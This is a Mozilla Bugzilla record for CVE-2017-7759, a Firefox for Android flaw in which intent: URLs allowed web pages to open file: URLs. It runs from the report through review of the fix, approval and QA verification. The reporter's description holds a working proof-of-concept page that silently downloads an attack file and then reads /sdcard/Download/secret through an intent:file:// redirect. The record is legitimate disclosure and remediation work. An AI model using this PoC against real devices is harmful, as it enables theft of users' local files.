Closed
Bug 1356893
(CVE-2017-7759)
Opened 8 years ago
Closed 8 years ago
Firefox for Android allows navigating from http: to file: URLs
Categories
(Firefox for Android Graveyard :: General, defect)
Tracking
(fennec+, firefox-esr52 wontfix, firefox53 wontfix, firefox54+ verified, firefox55+)
VERIFIED
FIXED
Firefox 55
People
(Reporter: websec02.g02, Assigned: esawin)
References
Details
(Keywords: csectype-sop, reporter-external, sec-high, Whiteboard: [post-critsmash-triage][adv-main54+])
Attachments
(2 files, 1 obsolete file)
|
820 bytes,
text/html
|
Details | |
|
999 bytes,
patch
|
nalexander
:
review+
jcristau
:
approval-mozilla-beta+
dveditz
:
sec-approval+
|
Details | Diff | Splinter Review |
User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Build ID: 20170323105023
Firefox for Android
Steps to reproduce:
Visit an remote (http) webpage:
<script>
location="intent:file:///(path)#Intent;type=text/html;end";
</script>
Actual results:
The JS code above redirects the user to file: URL.
The redirection allows remote pages to exfiltrate files in /sdcard/Download/.
Here is a PoC that steals "secret" file in Download directory:
<body style=font-size:300%>
<h1>remote_attack.html</h1>
<p>Downloading local_attack.html.</p>
<a id=a0 href="data:text/html,<body style=font-size:300%>
<h1>local_attack.html</h1>
<p>Reading /sdcard/Download/secret.</p>
<script>
var xhr=new XMLHttpRequest();
xhr.open('GET', 'secret', true);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) alert(xhr.responseText)
};
xhr.send();
</script>" download="local_attack.html">
<script>
// Attacker first downloads his attack page (local_attack.html) to sdcard
a0.click();
// Then navigates to the file with file scheme.
// (The file path below might need adjustment depending on the device)
setTimeout(function() {
location="intent:file:///storage/emulated/0/Download/local_attack.html#Intent;type=text/html;end";
}, 2000);
</script>
I confirmed the code works in Firefox for android v52.0.2 (Nexus 5x).
Expected results:
Navigation from http/https URLs to file URLs should be blocked.
|
Reporter | |
Comment 1•8 years ago
|
||
|
||
Comment 2•8 years ago
|
||
I would expect this to hit protocol linking checks in CAPS which shouldn't be allowing this. Sebastian, is the intent: protocol magical in some way?
(I expect the PoC doesn't work without the intent: but I haven't checked either way.)
Flags: needinfo?(s.kaspari)
|
||
Comment 3•8 years ago
|
||
> I would expect this to hit protocol linking checks in CAPS which shouldn't be allowing this.
We don't implement the "intent" protocol internally, as far as I can tell. Or at least I have not yet found a protocol handler for it.
So it's possible that we hand it off to the OS, and the OS is what strips off the "intent:" bit and then hands the file:// URL right back to us to load (e.g. based on the MIME type).
|
|
Reporter | |
Comment 4•8 years ago
|
||
Intent (and android-app) scheme is handled in IntentHelper.java.
https://dxr.mozilla.org/mozilla-central/source/mobile/android/base/java/org/mozilla/gecko/IntentHelper.java
> I expect the PoC doesn't work without the intent: but I haven't checked either way.
Right. Navigation from http: to file: is blocked in Firefox for Android for security reasons, and of course the same is true in desktop version. The intent: URL allows bypassing the restriction.
|
|
||
Comment 5•8 years ago
|
||
If we're the ones extracting the file:// URL from the intent: thing, then we should absolutely do a CheckLoadURI check at that point.
nalexander, do you know something about this code?
Component: Untriaged → General
Flags: needinfo?(nalexander)
Product: Firefox → Firefox for Android
(In reply to Boris Zbarsky [:bz] (still a bit busy) (if a patch has no decent message, automatic r-) from comment #5)
> If we're the ones extracting the file:// URL from the intent: thing, then we
> should absolutely do a CheckLoadURI check at that point.
Looks like we aren't. I haven't verified this, but my expectation is that the flow goes:
1) Fennec recognizes the intent:// URL
2) Fennec passes the intent:// URL to Android
3) Android knows that Fennec can open file:// URLs
4) Fennec happily loads the file:// URL.
I expect the file:// URL to be loaded in a new tab (i.e. new browsing context), just as if you tapped a file:// link in an Android file manager -- although I haven't verified this. It *might* be possible to use the EXTRA_APPLICATION_ID, or even non-standard Fennec intent options, to load in the same tab, although we'd need to experiment to figure out if there's danger here. See https://dxr.mozilla.org/mozilla-central/rev/c697e756f738ce37abc56f31bfbc48f55625d617/mobile/android/base/java/org/mozilla/gecko/Tabs.java#996.
There seem to be two things here:
1) intent: allows to open file:// URLs. We need to fix this. This intent: stuff is totally non-standard; we should figure out what Chrome does on Android and do as close to the same thing as possible. I very much doubt we can robustly "track" a URL through Fennec -> Android -> Fennec again, so we might need to parse some of these intent: URLs and drop dangerous ones on the floor. It's very difficult to differentiate dangerous ones on Android though, since the scheme is so general. Maybe somebody else knows more about this and can comment.
2) a page is able to _write_ file:// URLs (without user action). Isn't that much, much more significant? Does the "a0.click()" actually work and silently write file:// URLs in Firefox for Android? That's not the web interaction model I'm aware of.
> nalexander, do you know something about this code?
Not really, but I'll redirect to mcomella, who definitely did, and CC rnewman, who's done work in this area, and we'll find an owner.
Thanks for the report, Takeshi! Clever!
Flags: needinfo?(nalexander) → needinfo?(michael.l.comella)
Summary: Firefox for android allows navigating from http: to file: URLs → Firefox for Android allows navigating from http: to file: URLs
|
|
Reporter | |
Comment 7•8 years ago
|
||
Let me add some comments.
1)
Chrome also accepts intent: URLs and, because of this, it allows navigating from http: to file: like Firefox does. The difference is that Chrome assigns an unique origin to file: URLs, so the attack cannot be simply applied to Chrome.
Regarding how to fix the issue, please look at the Firefox source code handling intent: URLs:
https://dxr.mozilla.org/mozilla-central/source/mobile/android/base/java/org/mozilla/gecko/IntentHelper.java#277
Intent.parseUri(), which is a part of Android framework, creates an intent from a given intent: URL.
Line 283-288 are the security checks to ensure that only BROWSABLE activities are launched by the intent.
I guess a new check, blocking file: URL if the intent is resolved to Firefox itself, should be introduced here.
2)
AFAIK, Firefox (desktop) and IE ask user's consent before downloading a file, while Edge, Chrome, Firefox (android) and Safari don't. I think the former is better in terms of security. That's especially true in Android, because downloaded files may contain secret and all the installed apps with READ_EXTERNAL_STORAGE permission can read downloaded files.
|
|
||
Comment 8•8 years ago
|
||
Another option is to change the same-origin policy for file:// URIs on Android (or perhaps pref-controlled, with the pref set on Android) to be stricter, more like Chrome's. Unlike desktop, there should be no issue with this breaking help systems delivered via file:// or whatnot.
I _think_ all we need to do for that is make NS_RelaxStrictFileOriginPolicy return false. I'm a little surprised we don't have a pref for that already...
Flags: needinfo?(dveditz)
|
|
||
Updated•8 years ago
|
Status: UNCONFIRMED → NEW
Ever confirmed: true
|
||
Updated•8 years ago
|
Flags: needinfo?(s.kaspari)
|
|
||
Updated•8 years ago
|
tracking-fennec: --- → ?
See Also: → CVE-2017-5463
Eugen can write a patch for this once we figure out what needs to be done.
Assignee: nobody → esawin
tracking-fennec: ? → 54+
|
||
Comment 10•8 years ago
|
||
Eugen, do you need further help to figure out next steps?
This is an externally reported high severity security bug, we'd like this sorted out as quickly as possible.
Flags: needinfo?(esawin)
|
Assignee | |
Comment 11•8 years ago
|
||
Given the severity of this bug, we should respond swiftly by blocking this specific attack vector and then work towards a more robust and secure handling of file URIs and downloads on Android.
With this patch, we block opening intents containing "file"-scheme data URIs.
As the next step, we can discuss and address potential same-origin policy and download prompt changes.
Flags: needinfo?(esawin)
Attachment #8862432 -
Flags: review?(s.kaspari)
|
|
||
Comment 12•8 years ago
|
||
Comment on attachment 8862432 [details] [diff] [review]
0001-Bug-1356893-1.0-Reject-opening-intents-with-file-dat.patch
Review of attachment 8862432 [details] [diff] [review]:
-----------------------------------------------------------------
This only affects link on websites and does not break file:// intents from other apps, right?
::: mobile/android/base/java/org/mozilla/gecko/IntentHelper.java
@@ +280,5 @@
> return null;
> }
>
> + final Uri data = intent.getData();
> + if (data != null && "file".equals(data.getScheme())) {
Is the scheme always lower case at this point? Not sure if schemes are case insensitive.
Attachment #8862432 -
Flags: review?(s.kaspari) → review+
Comment on attachment 8862432 [details] [diff] [review]
0001-Bug-1356893-1.0-Reject-opening-intents-with-file-dat.patch
Review of attachment 8862432 [details] [diff] [review]:
-----------------------------------------------------------------
To sebastian's other question, about what this impacts, from https://dxr.mozilla.org/mozilla-central/rev/0b77ed3f26c5335503bc16e85b8c067382e7bb1e/mobile/android/base/java/org/mozilla/gecko/IntentHelper.java#274 we can see that this only applies to "intent://" or "android-app://" "outer schemes". But I doubt this code can differentiate based on where those outer schemes come from -- so if an App such as "am start" (i.e., not Web Content) sends us such an Intent, we'll drop it on the floor as well.
eugen: consider logging that we're dropping a file:// URI (without leaking the URI itself).
::: mobile/android/base/java/org/mozilla/gecko/IntentHelper.java
@@ +282,5 @@
>
> + final Uri data = intent.getData();
> + if (data != null && "file".equals(data.getScheme())) {
> + return null;
> + }
Based on https://developer.android.com/reference/android/net/Uri.html#normalizeScheme(), I'd say no, schemes are not case insensitive. (It's possible we always normalize before this point, but I'd lowercase the scheme anyway to be clear.)
Attachment #8862432 -
Flags: feedback+
|
||
Comment 14•8 years ago
|
||
Comment on attachment 8862432 [details] [diff] [review]
0001-Bug-1356893-1.0-Reject-opening-intents-with-file-dat.patch
+ if (data != null && "file".equals(data.getScheme())) {
To avoid "file", ContentResolver.SCHEME_FILE probably provide more context for tracing.
Attachment #8862432 -
Flags: feedback+
|
|
Assignee | |
Comment 15•8 years ago
|
||
(In reply to Sebastian Kaspari (:sebastian) from comment #12)
> This only affects link on websites and does not break file:// intents from
> other apps, right?
As Nick has explained, this would block us from handling all "nested" file-scheme intent URIs ("intent:file://..."), it will not affect handling regular file-scheme URIs ("file://...").
However, with this patch we also block "nested" file-scheme intent URIs for MIME types that we don't support. But I'm not aware of any legitimate use cases for this scenario.
> Is the scheme always lower case at this point? Not sure if schemes are case
> insensitive.
Schemes are case sensitive, but Android would ignore invalid (non-normalized) scheme intents.
I've fixed it in this version.
(In reply to Max Liu [:maliu] from comment #14)
> To avoid "file", ContentResolver.SCHEME_FILE probably provide more context
> for tracing.
ContentResolver doesn't provide all the SCHEME_* constants we care about in this module ("file", "intent", "sms", etc.) so using the string literal seems more consistent and clear. If we're interested in changing that, we should do it consistently across all scheme handling code (in a new bug).
Attachment #8862432 -
Attachment is obsolete: true
Attachment #8862510 -
Flags: review?(nalexander)
Comment on attachment 8862510 [details] [diff] [review]
0001-Bug-1356893-1.1-Reject-opening-intents-with-file-dat.patch
Review of attachment 8862510 [details] [diff] [review]:
-----------------------------------------------------------------
lgtm.
Attachment #8862510 -
Flags: review?(nalexander) → review+
|
|
Assignee | |
Comment 17•8 years ago
|
||
Frederik, can you provide assistance with the phrasing and categorization of this patch for the sec-approval request?
I would suggest that an exploit can be easily constructed based on both, the diff and the patch description.
Flags: needinfo?(fbraun)
|
|
||
Comment 18•8 years ago
|
||
The diff points straight to the attack and there's nothing we can do about that.
I think this means we land it just before we release the next version, so that we don't 0day our users.
I'm not sure what you're asking, but I can request approval in your stead.
Flags: needinfo?(fbraun)
|
|
||
Comment 19•8 years ago
|
||
If you request sec-approval, use something like this for the first two answers.
Can someone create an exploit based on the patch?
Yep, easily.
Do code or comment hint at a security issue?
Both comment and code, so removing the comment wouldnt be of any help. It's pretty obvious.
|
||
Comment 20•8 years ago
|
||
There is no "landing just before release." Code has to land before the last beta in order to be in the beta.
Can someone just set sec-approval? on the patch and answer *all* of the questions in the template, please?
|
|
Assignee | |
Comment 21•8 years ago
|
||
Comment on attachment 8862510 [details] [diff] [review]
0001-Bug-1356893-1.1-Reject-opening-intents-with-file-dat.patch
[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Very easily, the patch provides enough hints for the construction of an exploit.
Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
Yes, both the logging and the patch description paraphrase the code change, which provides a hint on the security problem.
Which older supported branches are affected by this flaw?
All branches are affected.
If not all supported branches, which bug introduced the flaw?
Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
This patch should be trivial to uplift.
How likely is this patch to cause regressions; how much testing does it need?
It is unlikely to cause regressions for legitimate and regular use cases.
Attachment #8862510 -
Flags: sec-approval?
|
||
Updated•8 years ago
|
Flags: needinfo?(dveditz)
Keywords: csectype-sop
|
|
||
Comment 22•8 years ago
|
||
Comment on attachment 8862510 [details] [diff] [review]
0001-Bug-1356893-1.1-Reject-opening-intents-with-file-dat.patch
Review of attachment 8862510 [details] [diff] [review]:
-----------------------------------------------------------------
sec-approval=dveditz
Attachment #8862510 -
Flags: sec-approval? → sec-approval+
|
|
||
Comment 23•8 years ago
|
||
(In reply to Eugen Sawin [:esawin] from comment #21)
> How easily could an exploit be constructed based on the patch?
> Very easily, the patch provides enough hints for the construction of an exploit.
We should probably wait until closer to release before landing, and then hit m-c and beta at the same time. Let's say May 22 or so.
Whiteboard: [wait until 5/22 to land]
I assume I'm not needed anymore - if I am, please email me.
Flags: needinfo?(michael.l.comella)
|
|
Assignee | |
Comment 25•8 years ago
|
||
As discussed on IRC, I'm going to land this on 5/29 and request beta uplift on the same day.
|
||
Comment 26•8 years ago
|
||
[Tracking Requested - why for this release]:
per comment 25
|
||
Comment 28•8 years ago
|
||
https://hg.mozilla.org/integration/mozilla-inbound/rev/f9732aefcc19ba7cf02b7cb864ba6c54a55f70bf
Sebastian, can you please request Beta approval on this when you get a chance? I've already confirmed that it grafts cleanly.
status-firefox53:
--- → wontfix
status-firefox55:
--- → affected
status-firefox-esr52:
--- → wontfix
tracking-firefox55:
--- → ?
Flags: needinfo?(s.kaspari)
Whiteboard: [wait until 5/22 to land]
|
||
Updated•8 years ago
|
Target Milestone: --- → Firefox 55
|
|
||
Comment 30•8 years ago
|
||
Comment on attachment 8862510 [details] [diff] [review]
0001-Bug-1356893-1.1-Reject-opening-intents-with-file-dat.patch
Approval Request Comment
[Feature/Bug causing the regression]: Security issue, see comment 21 for details.
[User impact if declined]: See comment 1: "The redirection allows remote pages to exfiltrate files in /sdcard/Download/"
[Is this code covered by automated tests?]: -
[Has the fix been verified in Nightly?]: Patch just landed on m-c and was held back because it provides enough hints for the construction of an exploit
[Needs manual test from QE? If yes, steps to reproduce]: STR in comment 1 and POC attached to bug.
[List of other uplifts needed for the feature/fix]: -
[Is the change risky?]: No
[Why is the change risky/not risky?]: (comment 21) It is unlikely to cause regressions for legitimate and regular use cases.
[String changes made/needed]: -
Flags: needinfo?(s.kaspari)
Attachment #8862510 -
Flags: approval-mozilla-beta?
|
|
||
Comment 31•8 years ago
|
||
Comment on attachment 8862510 [details] [diff] [review]
0001-Bug-1356893-1.1-Reject-opening-intents-with-file-dat.patch
sec-high fix for fennec 54.0b12
Attachment #8862510 -
Flags: approval-mozilla-beta? → approval-mozilla-beta+
|
|
||
Updated•8 years ago
|
Status: NEW → RESOLVED
Closed: 8 years ago
Resolution: --- → FIXED
|
|
||
Comment 32•8 years ago
|
||
|
||
Updated•8 years ago
|
Flags: qe-verify+
Whiteboard: [post-critsmash-triage]
|
|
||
Updated•8 years ago
|
Group: firefox-core-security → core-security-release
|
|
||
Updated•8 years ago
|
Whiteboard: [post-critsmash-triage] → [post-critsmash-triage][adv-main54+]
|
|
||
Updated•8 years ago
|
Alias: CVE-2017-7759
|
||
Comment 33•8 years ago
|
||
Devices:
- Nexus 5 (Android 6.0.1);
- Nexus 6 (Android 7.0);
- Huawei P10 (Android 7.0);
- LG G4 (Android 5.1);
- Lenovo A536 (Android 4.4.2).
Hello,
Verified this issue using the devices listed above by both opening the file from Comment 1 locally and from a link.
Build:
- 54.0 (2017-07-06) - RC
The page downloads a local_attack.html file and the user is redirected to a "The address wasn't understood" page.
No other actions are performed.
- 54.0b12 (2017-30-05) - Beta
The page downloads a local_attack.html file and the user is redirected to a "The address wasn't understood" page.
No other actions are performed.
- 55.0a1 (2017-07-06) - Nightly
The page downloads a local_attack.html file and no other actions are performed.
Notes:
The user can then open the local_attack.html file if he so desires after it has finished downloading.
@Eugen It is unclear to me what would be the expected behavior. It would seem that there is another action happening in the RC and Beta build but no other action is taken in the Nightly one. The local_attack.html file is not opened in any of these situations. If this is the desired effect please consider this issue as verified.
Flags: needinfo?(esawin)
|
|
Assignee | |
Comment 34•8 years ago
|
||
(In reply to Bogdan Surd, QA [:BogdanS] from comment #33)
> Verified this issue using the devices listed above by both opening the file
> from Comment 1 locally and from a link.
Comment 1 only contains the local_attack.html, you need to verify against the remote_attack.html from the description (comment 0).
> @Eugen It is unclear to me what would be the expected behavior. It would
> seem that there is another action happening in the RC and Beta build but no
> other action is taken in the Nightly one. The local_attack.html file is not
> opened in any of these situations. If this is the desired effect please
> consider this issue as verified.
The expected behavior is that the "intent:file:..." URL is blocked and local_attack.html is not opened.
There should not be any different behavior on Nightly (I couldn't reproduce it locally).
A minimal test page could be the following code:
<script>
location="intent:file:///storage/emulated/0/Download#Intent;type=text/html;end";
</script>
When opening the given test page above, the browser should block the URL (The address wasn't understood).
A compromised browser would show the contents of the local Download directory when opening the given test page.
Flags: needinfo?(esawin)
|
|
||
Comment 35•8 years ago
|
||
Hello,
Thank you for clearing this up for me and sorry for not being clear, I did use the remote_attack.html. None of the browsers opened or showed the content of the local_attack.html. Marking this as verified.
|
|
||
Updated•8 years ago
|
Flags: sec-bounty?
|
|
||
Updated•8 years ago
|
Flags: sec-bounty?
Flags: sec-bounty+
Flags: needinfo?(dveditz)
|
|
Reporter | |
Comment 36•8 years ago
|
||
Could you remove view restriction on this report please? I would like to mention this bug in my blog post I'm now preparing. Thanks.
|
|
||
Updated•8 years ago
|
Group: core-security-release
Flags: needinfo?(dveditz)
|
||
Updated•4 years ago
|
Product: Firefox for Android → Firefox for Android Graveyard
|
||
Updated•9 months ago
|
status-firefox55:
verified → ---
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•